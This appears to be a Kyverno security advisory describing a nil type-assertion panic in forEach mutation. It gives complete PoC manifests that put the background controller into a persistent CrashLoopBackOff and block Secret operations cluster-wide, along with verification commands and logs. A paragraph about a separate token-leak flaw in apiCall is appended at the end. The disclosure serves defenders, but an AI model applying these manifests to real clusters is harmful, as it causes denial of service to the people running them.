Summary

An unchecked type assertion in the forEach mutation handler allows any user with permission to create a Policy or ClusterPolicy to crash the cluster-wide background controller into a persistent CrashLoopBackOff. The same bug also causes the admission controller to drop connections and block all matching resource operations. The crash loop persists until the policy is deleted. The vulnerability is confined to the legacy engine, and CEL-based policies are unaffected.

Details

In pkg/engine/mutate/mutation.go, the ForEach function performs a bare type assertion on a map value that can be nil:

go patcher := NewPatcher(fe["patchStrategicMerge"], fe["patchesJson6902"].(string))

When a forEach rule uses a patchesJson6902 field containing a variable substitution (e.g., {{ element.nonexistent }}) that resolves to nil at runtime, the type assertion .(string) on a nil interface{} triggers an unrecoverable Go panic:

panic: interface conversion: interface {} is nil, not string

When a mutateExisting rule triggers, the admission controller creates an UpdateRequest resource that the background controller processes asynchronously. This resource survives controller restarts, re-triggering the panic on every restart until the policy or UpdateRequest is deleted.

The background controller processes mutateExisting rules in worker goroutines where k8s.io/apimachinery/pkg/util/runtime.HandleCrash catches panics but re-panics by default, killing the process. The admission controller survives because Go's net/http server absorbs panics in handler goroutines via defer recover(), though the connection is dropped.

The vulnerable code was introduced in #10702. Kyverno versions v1.13.0 to v1.17.1 are affected.

PoC

Apply the following manifest:

yaml --- PoC A: Namespaced Policy crashes the background controller --- apiVersion: kyverno.io/v1 kind: Policy metadata: name: poc-background-crash namespace: default spec: mutateExistingOnPolicyUpdate: true rules: - name: crash-foreach-nil match: any: - resources: kinds: - ConfigMap mutate: targets: - apiVersion: v1 kind: ConfigMap name: poc-target namespace: default foreach: - list: "target.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}" --- apiVersion: v1 kind: ConfigMap metadata: name: poc-target namespace: default data: key1: value1 --- This ConfigMap creation triggers the mutateExisting rule via UpdateRequest apiVersion: v1 kind: ConfigMap metadata: name: poc-trigger namespace: default data: trigger: "true" --- --- PoC B: ClusterPolicy panics the admission controller (connection drop) --- Effect: all Secret create/update operations are blocked cluster-wide The admission controller does not crash (net/http recovers), but every matching request gets EOF -> webhook failure -> denied apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: poc-admission-panic spec: rules: - name: panic-foreach-nil match: any: - resources: kinds: - Secret mutate: foreach: - list: "request.object.data | keys(@)" patchesJson6902: "{{ element.nonexistent }}"

Verify:

bash After ~5 seconds, background controller is in CrashLoopBackOff: kubectl get pods -n kyverno -l app.kubernetes.io/component=background-controller

Admission panic — all Secret operations fail with EOF: kubectl create secret generic test-secret --from-literal=key=value Error: failed calling webhook "mutate.kyverno.svc-fail": ... EOF

Admission controller logs:

http: panic serving 10.244.0.1:64359: interface conversion: interface {} is nil, not string goroutine 1914 [running]: net/http.(conn).serve.func1() net/http/server.go:1943 +0xb4 panic({0x3947fc0?, 0x40023e3890?}) runtime/panic.go:783 +0x120 github.com/kyverno/kyverno/pkg/engine/mutate.ForEach({0x394e240?, 0x0?}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/mutate/mutation.go:81 +0x3e0 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(forEachMutator).mutateElements(0x4002609410, {0x4cd78d8, 0x40023b1d10}, {{0x4001c3f300, 0x1d}, 0x0, {0x0, 0x0, 0x0}, 0x0, ...}, ...) github.com/kyverno/kyverno/pkg/engine/handlers/mutation/common.go:126 +0x4e8 github.com/kyverno/kyverno/pkg/engine/handlers/mutation.(forEachMutator).mutateForEach(0x4002609410, {0x4cd78d8, 0x40023b1d10}) ...

Impact

Persistent denial of service of cluster-wide Kyverno controllers. Policy is a namespaced resource whose creation can be delegated to namespace users via standard Role/RoleBinding, without granting any cluster-level permissions. Such a user can:

1. Crash the background controller into a persistent CrashLoopBackOff, halting all background processing (generate rules, mutateExisting rules, cleanup) across all namespaces in the cluster, not just their own. 2. Block admission operations for matched resource kinds within their namespace via the admission controller webhook panic path. With a ClusterPolicy (requiring cluster-level RBAC), the admission block extends cluster-wide.

The crash loop is self-sustaining because the poisoned UpdateRequest remains in the queue and re-triggers the panic on every controller restart.

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.